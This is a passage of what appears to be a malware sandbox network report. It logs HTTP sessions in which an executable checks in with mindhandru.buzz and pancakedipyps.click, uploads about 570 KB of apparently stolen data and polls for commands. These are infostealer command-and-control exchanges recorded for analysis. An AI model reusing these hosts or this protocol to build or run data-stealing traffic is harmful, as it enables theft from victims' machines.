name="hwid"3463DFF912BB4217BEBA0C6A975F1733--CONMMG6F0S9PVESTXContent-Disposition: form-data; name="pid"3--CONMMG6F0S9PVESTXContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-27 08:02:25 UTC	5091	OUT	Data Raw: 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 fd 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d ae 2f 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 f5 47 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 be 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 d7 1f 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 fa a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQM/64G6(X&~`aO
2024-12-27 08:02:26 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:02:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hvbvbf526mlnrbfg8g3130ppj3; expires=Tue, 22 Apr 2025 01:49:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tBqb1mYUXCntFRC0Fehbl0xNhhaKxyPeH795g2%2Bu2p4V3jSXwtlcf9qurPgLxYSgVUsSsL5%2B7ibmjqK86azY%2Bdm%2FM0R%2FQ%2FMTJQg6e8%2F1%2FsFATCp8TUzDAqtaWcxcMVsCgwo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c9cf2e010c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1618&min_rtt=1507&rtt_var=787&sent=10&recv=25&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21382&delivery_rate=1218189&cwnd=241&unsent_bytes=0&cid=13d557862cda1bfd&ts=971&x=0"
2024-12-27 08:02:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:02:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49741	104.21.11.101	443	7496	C:\Users\user\Desktop\vVJvxAfBDM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:02:28 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DJQRAXVAW6ID User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1211 Host: mindhandru.buzz
2024-12-27 08:02:28 UTC	1211	OUT	Data Raw: 2d 2d 44 4a 51 52 41 58 56 41 57 36 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 36 33 44 46 46 39 31 32 42 42 34 32 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 44 4a 51 52 41 58 56 41 57 36 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 4a 51 52 41 58 56 41 57 36 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 44 4a 51 52 41 58 56 41 57 36 49 44 0d 0a Data Ascii: --DJQRAXVAW6IDContent-Disposition: form-data; name="hwid"3463DFF912BB4217BEBA0C6A975F1733--DJQRAXVAW6IDContent-Disposition: form-data; name="pid"1--DJQRAXVAW6IDContent-Disposition: form-data; name="lid"PsFKDg--pablo--DJQRAXVAW6ID
2024-12-27 08:02:28 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:02:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lseumd9aos0u3506e8h49jafve; expires=Tue, 22 Apr 2025 01:49:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7ZeFLLo%2FrxW1mL%2FFj%2B5QtCP2WEYY4%2B3BFjVhgnuH2kymrxnOV8vaYsI2jjp1rOvDkdX16WXwsKwNpBx6tjPJq4q6ZdIIgMIc17I83flfX6ASGyr38kF6QxbJIBgMi5uD9WI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c9defd3042bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1750&min_rtt=1747&rtt_var=663&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2121&delivery_rate=1642294&cwnd=225&unsent_bytes=0&cid=4678b5037e875327&ts=762&x=0"
2024-12-27 08:02:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:02:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49748	104.21.11.101	443	7496	C:\Users\user\Desktop\vVJvxAfBDM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:02:30 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7L8A8E8X35UTBQGT4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569831 Host: mindhandru.buzz
2024-12-27 08:02:30 UTC	15331	OUT	Data Raw: 2d 2d 37 4c 38 41 38 45 38 58 33 35 55 54 42 51 47 54 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 36 33 44 46 46 39 31 32 42 42 34 32 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 37 4c 38 41 38 45 38 58 33 35 55 54 42 51 47 54 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 4c 38 41 38 45 38 58 33 35 55 54 42 51 47 54 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --7L8A8E8X35UTBQGT4Content-Disposition: form-data; name="hwid"3463DFF912BB4217BEBA0C6A975F1733--7L8A8E8X35UTBQGT4Content-Disposition: form-data; name="pid"1--7L8A8E8X35UTBQGT4Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-27 08:02:30 UTC	15331	OUT	Data Raw: 4b 6a 75 c5 6d aa 4e 15 2f d1 c0 e4 0a f0 3e a7 00 8e 32 d4 e8 75 4e 0c a6 41 83 71 14 f5 34 8a be 22 ac 0f fe bf dd e2 73 68 7a bd f1 ef ed 43 ea 5c 50 c5 30 04 57 e9 00 15 68 52 70 43 f2 60 4c 30 86 3a f4 36 85 80 74 b9 f7 e2 9a b8 be 9d 85 a7 be b3 6a c0 16 83 9e 83 48 73 bf 8a dc d7 01 83 e6 55 9b 7c 5e 60 ac e9 86 78 3e c4 ed 4b ec 6c a2 de e6 b3 1d 0a d5 70 23 bf ff 20 50 8e d6 e2 4a 15 a5 d2 47 99 eb 53 c2 5b be 62 54 3f 49 8b 4c a7 ac 3d c9 9e a4 f8 39 3b 90 a3 b9 bb 66 67 1f 7e f9 30 8a 99 d1 ce 19 af 2a 4c 60 b9 14 70 87 c6 6c f3 9b 50 fe ec a4 9d 17 e3 26 e0 d4 6f 20 13 3b 24 6e 1b a9 b2 34 1e db 3f 4d d3 51 a4 ca 0d c0 e6 8c b9 7f fe 10 53 50 8a 56 06 57 ef e9 96 6f 7d fb 41 1d e4 5e f0 99 fd b6 7c 84 57 12 49 6a 3a ad 06 e0 19 8c 0a 74 55 b6 Data Ascii: KjumN/>2uNAq4"shzC\P0WhRpC`L0:6tjHsU\|^`x>Klp# PJGS[bT?IL=9;fg~0*L`plP&o ;$n4?MQSPVWo}A^\|WIj:tU
2024-12-27 08:02:30 UTC	15331	OUT	Data Raw: 04 32 c0 fe 6d 86 1b 4b 46 5a 70 ea a3 ce 20 f8 ad ae 40 d2 6b 62 64 f8 b3 63 ea aa 2c eb ce 68 5f ba 51 6b 25 27 4f 99 a6 00 6c 13 da 30 71 a6 26 b9 bb cb b1 aa 8b af 58 62 15 73 f2 f7 9a 8c 36 19 11 8b 61 dc 72 de bb 1b 29 16 83 ff be ed 32 e4 73 e8 fe 03 60 d6 aa 66 4a 07 86 22 95 0b ee 88 3b 78 87 29 0f d1 da 8f 45 9d 96 3b 75 db 0a 0c a5 1d 02 d5 e3 69 9b 3e 04 40 9a df 1a 8c e8 a8 da 53 30 6c fd 93 e3 eb ae e6 4f b5 f3 cf b2 2f 5d b9 ad e3 b6 25 ed d9 3e ab ea 39 67 3f 90 c5 b8 d6 be cd f4 85 97 4a 59 72 77 fe 09 5d b7 d7 d9 7a 74 73 d1 e6 fc f5 aa 81 f4 54 e7 3d c0 6b e0 07 04 57 21 ff e7 2c 52 59 23 53 24 e7 2a 17 67 41 c0 be c9 0d f8 0f 01 4b 0a 20 b3 20 72 af 68 0a 32 d7 10 20 5d a3 98 f4 ff 3d 98 50 6b 1f 31 5e 1f 88 82 c3 18 be 29 a1 dd 7d 60 Data Ascii: 2mKFZp @kbdc,h_Qk%'Ol0q&Xbs6ar)2s`fJ";x)E;ui>@S0lO/]%>9g?JYrw]ztsT=kW!,RY#S$*gAK rh2 ]=Pk1^)}`
2024-12-27 08:02:30 UTC	15331	OUT	Data Raw: a5 c5 65 41 32 db 75 ec 85 ac c7 35 90 99 2a 66 9d fe a8 6d 4a 15 ba fc 4f 26 5c 1f 43 f1 b6 6e c3 67 da 56 61 9a 1d 7c f3 90 ed 21 d6 93 cb af e9 b9 0f 2b 22 54 6d a7 e3 02 85 1c e4 9d e2 d3 61 f1 12 74 83 c5 53 80 9e db 86 d5 9e 49 2f ef fd 57 2f 68 7f 11 5f c7 7d ba c7 71 9e f9 af 0a 7d 26 ff ec 76 24 ba 06 1f f5 8d 79 bc 2c 2f 7c c6 c5 79 8a dd 27 f9 f5 58 59 c5 5d 72 c6 c3 4c ef b6 2c ee 7a f3 cb 60 24 6e b9 2c 63 03 46 7f a5 b1 5b b0 ae f7 e7 9d 29 cf e6 df dd 57 26 e9 fb 34 4e d2 06 c8 0f f3 fc a8 21 2a 7f 00 d2 70 f5 28 37 c8 37 7c c3 3f e7 e4 95 6a 0c 48 3a e5 14 3d a3 56 67 a3 20 32 a9 fe da 77 fa 30 4f 3a bb e6 b4 ab 4b 3f a2 b6 f3 d3 1d ae 45 8a 58 af 3d 5d 8a d3 b6 3b b1 e1 9f 10 cb 9f 12 8e 03 04 23 02 77 1b 89 84 c3 05 85 75 48 b9 c8 97 65 Data Ascii: eA2u5fmJO&\CngVa\|!+"TmatSI/W/h_}q}&v$y,/\|y'XY]rL,z`$n,cF[)W&4N!p(77\|?jH:=Vg 2w0O:K?EX=];#wuHe
2024-12-27 08:02:30 UTC	15331	OUT	Data Raw: c7 13 03 30 ff 8b b4 a7 f3 30 7d 2a fa 4b 97 7a 9d 73 ab eb 08 75 65 c8 f6 2a d1 51 63 36 83 1f 74 7e a6 a6 ca af 6a da c4 06 62 c8 18 d9 f0 c8 2f 2f ba 61 4f c7 e1 e7 62 f9 4c 57 f9 cc 20 e8 14 28 f0 ff ec c0 f8 df c3 24 8c 76 c1 91 7a 75 0f 1e 62 9d b2 a0 ef 26 bf cf be b3 c0 92 91 95 81 76 8f 74 ee c7 d2 3a 9c d5 03 d7 1e c1 88 0d 84 02 61 b0 f7 c6 4d 9e b2 86 6a c2 e2 78 26 11 67 17 b8 d6 b9 42 76 ab ef d9 b0 48 6b e9 8f 94 59 28 bd 59 67 f3 ce 67 3a 1d 4e 04 84 5e b8 9c 19 b1 0c c4 39 86 83 40 09 cc c0 2e 21 14 75 fb 7b 3c 34 63 32 50 96 a0 b5 5c e3 95 66 0a 48 39 8e 97 11 e8 69 2d 68 be c5 cb 53 61 61 e1 d2 8a b2 27 04 5e 15 05 e7 48 d0 85 75 0a 87 12 ec 59 95 bc 76 cf cd 3f 72 84 44 84 ff 9d ac 44 8e c8 a6 f0 fa 7e 56 63 3e 31 be 04 f6 6b c3 62 3f Data Ascii: 00}KzsueQc6t~jb//aObLW ($vzub&vt:aMjx&gBvHkY(Ygg:N^9@.!u{<4c2P\fH9i-hSaa'^HuYv?rDD~Vc>1kb?
2024-12-27 08:02:30 UTC	15331	OUT	Data Raw: 33 02 6d f4 4a b6 d4 4c b5 a2 69 86 3f 10 7f 04 4f 04 a6 f2 ab fb 03 d4 96 21 df e6 01 81 31 01 4a 39 c7 68 69 b3 73 25 1b e9 8e e5 f9 d7 0d 4d e8 4b 57 b8 47 af a0 8f fd de 7a 2f 6c db 6d 89 41 c5 d7 b3 3a 5a 42 3b af 1e 19 8c 6c b8 68 6b 1b c7 9a 4c 77 10 bb b7 6e ce ed cc fa f6 4b ee 6f 94 11 70 b7 0f 5f f1 7c 38 aa a6 cf cf c6 c5 30 05 9a 0f fd 6b 44 d4 f3 e5 41 7e 51 07 d8 4d 14 fd 3b 9b 28 ce 9f 69 72 0b 6a 99 62 69 07 2f a5 84 a7 08 4e 3c a3 5d 46 e8 a4 8e 4a e2 4c 8d 5e d6 41 e3 dc 1d 7a 76 ec ec 02 4b 45 97 b4 87 09 07 c9 fc 6b 46 ea 48 0f de 57 9f 95 95 d0 96 38 5b 67 c9 7b a7 e1 de 40 c8 d5 4b 36 e3 dc 9f 8b 09 7a 20 87 95 c9 72 dc 51 70 9c 66 7d 60 94 f9 91 ec bf f5 c7 81 e2 8f 9e 94 a5 a8 72 0a 84 a9 8e fc df 84 9a ff 8d c6 5c ac f2 64 5f fe Data Ascii: 3mJLi?O!1J9his%MKWGz/lmA:ZB;lhkLwnKop_\|80kDA~QM;(irjbi/N<]FJL^AzvKEkFHW8[g{@K6z rQpf}`r\d_
2024-12-27 08:02:30 UTC	15331	OUT	Data Raw: 62 40 1a aa fc d5 48 be 2e 05 ae 14 ab 6d a5 f7 85 a9 d6 54 39 20 bd f1 43 83 14 b8 e6 d7 85 a2 bc f9 40 2a 38 d4 48 58 18 d5 ff f9 56 ec 79 fd eb a7 86 54 01 d1 f1 69 d6 9b 96 6f 6f 0e ab 99 2e 11 76 dd 64 fd 59 8a 90 9c 57 d5 13 fd 21 2e 77 7f 32 ce 75 e2 c3 58 e5 9e f8 86 37 8d 1b c5 ec fe a6 08 74 9e d9 a5 4b b3 e6 d9 eb 29 72 4f 7a e6 da b6 37 ac a5 a2 18 eb 84 41 ff fd d8 28 13 b1 7a 5a 9f 65 37 98 df 78 b6 e3 7f 57 6e df 76 d8 9e 08 0e 6e f7 54 bd 71 e7 07 e8 02 3c e6 f6 48 f5 bb 22 20 81 b4 50 d0 6c 26 0b df c3 c6 80 8c 78 9c 3d 92 18 c0 6d 40 75 e2 35 53 61 a8 8d 81 a2 07 ce 04 ce df 00 af 1d 93 09 74 bc 50 69 5b 4f f6 a6 1a f9 72 8a b0 5a 63 60 2c 50 4b 2d 71 ca 5d 20 2f e5 61 ce ad 59 1e 02 f8 33 ad 34 1f 59 98 40 6c 6b e1 74 d4 26 b4 a5 50 f8 Data Ascii: b@H.mT9 C@*8HXVyTioo.vdYW!.w2uX7tK)rOz7A(zZe7xWnvnTq<H" Pl&x=m@u5SatPi[OrZc`,PK-q] /aY34Y@lkt&P
2024-12-27 08:02:30 UTC	15331	OUT	Data Raw: 73 e2 0d 05 57 65 46 ed 16 31 96 c4 78 87 08 95 76 04 09 61 61 92 b5 f0 43 e6 bd 3f 7e 59 3f 8e a0 8b 1a 3c 07 72 7c 8c 05 e7 0f 22 f2 5e 11 cb 47 12 ad 89 89 34 1b 77 c1 f3 13 64 ef 53 a3 b5 bb 9c 26 c6 9d 56 52 2e 7c 9c d4 12 ad e8 e8 37 6a 57 2d fb 87 4e ea db 77 44 07 0a e0 44 dc 50 81 14 69 e7 a2 82 c0 6d e7 95 eb eb 94 e1 0d dc 93 ba 4e 6b 34 f9 39 d7 97 ba f0 72 e8 81 ba fe 0a a1 b9 fd f9 31 10 b3 10 d8 2c 1c 85 c4 03 bc 88 99 1e 3a eb 82 a6 5e 91 2a cf d5 9f ef 98 3c f8 cf d0 57 6b 51 fc 7c 70 4a ae 02 af 4e 2d b2 ca 36 ab 03 49 32 2f ba bc 81 66 f8 5e f8 9d 2c 06 5e 9a a8 4f 5f ca 4e 10 14 a1 2d 56 62 7d 8e ae 30 d0 a6 be 94 47 9f d3 b9 6e 18 c9 85 61 43 69 13 47 bd bd b5 37 7c 97 8a 5e a5 bf 0f c4 84 d6 1a 9d 07 0e 18 c0 9a f6 37 db 81 21 52 87 Data Ascii: sWeF1xvaaC?~Y?<r\|"^G4wdS&VR.\|7jW-NwDDPimNk49r1,:^*<WkQ\|pJN-6I2/f^,^O_N-Vb}0GnaCiG7\|^7!R
2024-12-27 08:02:30 UTC	15331	OUT	Data Raw: 2c b4 35 86 5e 38 51 8b e3 d3 1e 56 6f ce 09 fd 14 32 ac 17 fc 08 13 bd 42 10 d8 b6 59 df 30 1c a3 4d 33 ad 60 d2 c5 50 f4 5c 85 60 7b 0a f7 bb ac c7 68 83 00 7f 34 10 65 57 eb 97 61 62 b0 0e 31 32 fb 47 3e c3 51 20 ea a4 c5 7b fd b2 f8 bf 1f 5a 08 48 67 1c 09 92 dd b4 23 7e 29 2b a8 af 95 07 1d 1f 70 68 18 a6 4e 6f 9c ae 13 c5 d2 93 9e 23 73 1e 92 4b d9 3f 24 3d cc 32 ab 09 5d b6 85 c3 90 fc 15 8e 59 e6 a6 6e 2b 24 54 04 b2 46 71 2b 6c c0 05 cc e2 31 a4 65 19 e4 7d 30 f9 fb 30 1d df 3f 5a 8a 62 49 20 f6 62 f3 e6 6e 58 c5 b0 0e 6c 7d 5b a1 54 4f bc bb da 48 e0 59 13 e8 2f a5 2e 33 42 9f b6 01 62 6a 44 ac f0 4a 48 45 fc ca 41 2d db 2b fc 77 95 1f 62 b7 24 d6 f7 c8 f0 a8 b9 b7 a8 88 a6 6d 7f 68 64 e8 b4 40 b1 65 2b e6 90 9b e6 15 4c 17 14 73 b1 48 c3 8c 50 Data Ascii: ,5^8QVo2BY0M3`P\`{h4eWab12G>Q {ZHg#~)+phNo#sK?$=2]Yn+$TFq+l1e}00?ZbI bnXl}[TOHY/.3BbjDJHEA-+wb$mhd@e+LsHP
2024-12-27 08:02:30 UTC	15331	OUT	Data Raw: 3f ce 6b d4 af 2a 13 ce fe 5e 48 5e 5a 71 3b 06 f0 36 f8 29 3e 20 39 b7 22 c6 7d 5f 1e df c3 cb 0a aa 75 c4 ec 88 c3 a1 10 67 2c 65 e1 ec 0e d0 69 99 7f 34 f4 67 5f 98 2a b8 a4 43 15 06 66 6f 77 e8 1f f5 ff b1 d5 b4 3f de e5 1a fb c7 0b 11 0d 70 6a dd 76 1f 6e 37 20 fc 5d 89 40 22 e4 f2 03 dd d5 68 f7 fb 0f c8 47 e1 1f 68 ac 67 55 dc 87 38 2c f0 14 7e 2b 97 70 8a 7c 1f 24 c4 91 c2 43 8f cc ac 05 3f c0 04 53 f9 8f e6 37 f1 51 cc 4c 8a b9 f6 eb 16 fa 32 12 a3 bc cc ec bd 05 ad ee 06 97 16 23 a5 fc b4 be 5b b9 08 d9 88 8c 18 c7 62 97 9e 9e 16 fd 1c 1c 8e a3 ce 29 af 55 14 84 ce 5b b5 54 eb 23 f8 ec c1 55 9c 39 60 e7 20 f0 c7 17 72 79 b6 8e 76 88 cf 3f ff 47 7f a1 e0 aa 3a e8 74 8f 45 bb 0a 2d 68 ce d4 6f 61 59 f8 8d cb 33 89 f9 22 8b e4 a3 61 05 c2 a2 60 c4 Data Ascii: ?k^H^Zq;6)> 9"}_ug,ei4g_Cfow?pjvn7 ]@"hGhgU8,~+p\|$C?S7QL2#[b)U[T#U9` ryv?G:tE-hoaY3"a`
2024-12-27 08:02:33 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:02:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hmq224b8c5o4e622rjh31b1k7n; expires=Tue, 22 Apr 2025 01:49:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JNs0jUDueMgHlh5t8Iwt06Rh6tRtMtS3mLvlgTJ%2Bja7mAlyMZZYK78o3CX05nr7t0dO78WtPTP4W6IXomEFMmEsXZrJHautdnOVwR1IEiickqZ0aZG%2BCP5LtQmIAN0fYnUo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c9eed8d4c33f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1487&min_rtt=1484&rtt_var=563&sent=342&recv=592&lost=0&retrans=0&sent_bytes=2836&recv_bytes=572376&delivery_rate=1929940&cwnd=235&unsent_bytes=0&cid=da5440dc88e568ad&ts=2424&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49762	104.21.11.101	443	7496	C:\Users\user\Desktop\vVJvxAfBDM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:02:34 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: mindhandru.buzz
2024-12-27 08:02:34 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 33 34 36 33 44 46 46 39 31 32 42 42 34 32 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=3463DFF912BB4217BEBA0C6A975F1733
2024-12-27 08:02:35 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6mpdhta71gfiv3ua7ks4t8h91k; expires=Tue, 22 Apr 2025 01:49:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n0E9%2BG%2FtWy%2BH8%2BicjwCB2MUs9WZeuC1NFujWQ3%2FyaRUTFSlos%2BjMblb2UAReQ1lgjIKORPTKlcTfcWAc8unX%2FsEaC%2Fjaof06IgKkFuV3DQtA2%2B58zZfSfs%2B1wPoPQZco36E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87ca077d286a5c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1760&min_rtt=1742&rtt_var=666&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=981&delivery_rate=1676234&cwnd=241&unsent_bytes=0&cid=ab2c71d9a96e9e96&ts=772&x=0"
2024-12-27 08:02:35 UTC	222	IN	Data Raw: 64 38 0d 0a 4a 55 6d 61 36 57 6c 41 7a 34 78 61 70 54 58 45 4c 79 38 57 36 59 69 38 73 72 77 39 74 2b 65 35 68 43 78 74 48 55 55 47 53 66 74 2b 4d 72 69 63 53 33 72 74 35 43 37 52 52 66 35 7a 41 45 72 47 75 59 53 48 6b 67 2b 47 30 70 65 31 48 56 34 7a 64 44 41 56 31 46 59 39 2f 34 67 45 48 4f 44 2b 4f 38 74 52 71 30 49 42 63 35 48 74 6e 70 36 65 57 38 50 46 67 37 51 41 54 33 68 6e 50 48 6d 47 43 54 4b 34 6e 45 74 36 37 65 51 75 30 55 58 2b 63 77 42 4b 78 72 6d 45 68 35 49 50 68 74 4b 58 74 52 31 65 4d 33 51 77 46 64 52 49 49 50 53 4d 4e 57 2b 39 37 54 54 42 57 71 6b 42 53 6d 36 4d 71 70 43 51 32 6b 6d 56 33 59 6d 6f 44 67 67 2f 66 7a 59 30 70 67 3d 3d 0d 0a Data Ascii: d8JUma6WlAz4xapTXELy8W6Yi8srw9t+e5hCxtHUUGSft+MricS3rt5C7RRf5zAErGuYSHkg+G0pe1HV4zdDAV1FY9/4gEHOD+O8tRq0IBc5Htnp6eW8PFg7QAT3hnPHmGCTK4nEt67eQu0UX+cwBKxrmEh5IPhtKXtR1eM3QwFdRIIPSMNW+97TTBWqkBSm6MqpCQ2kmV3YmoDgg/fzY0pg==
2024-12-27 08:02:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49891	104.21.23.76	443	3392	C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:03:30 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-27 08:03:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 08:03:31 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:03:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ohgu2a8hls2d8icsj1sdf3dh53; expires=Tue, 22 Apr 2025 01:50:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: 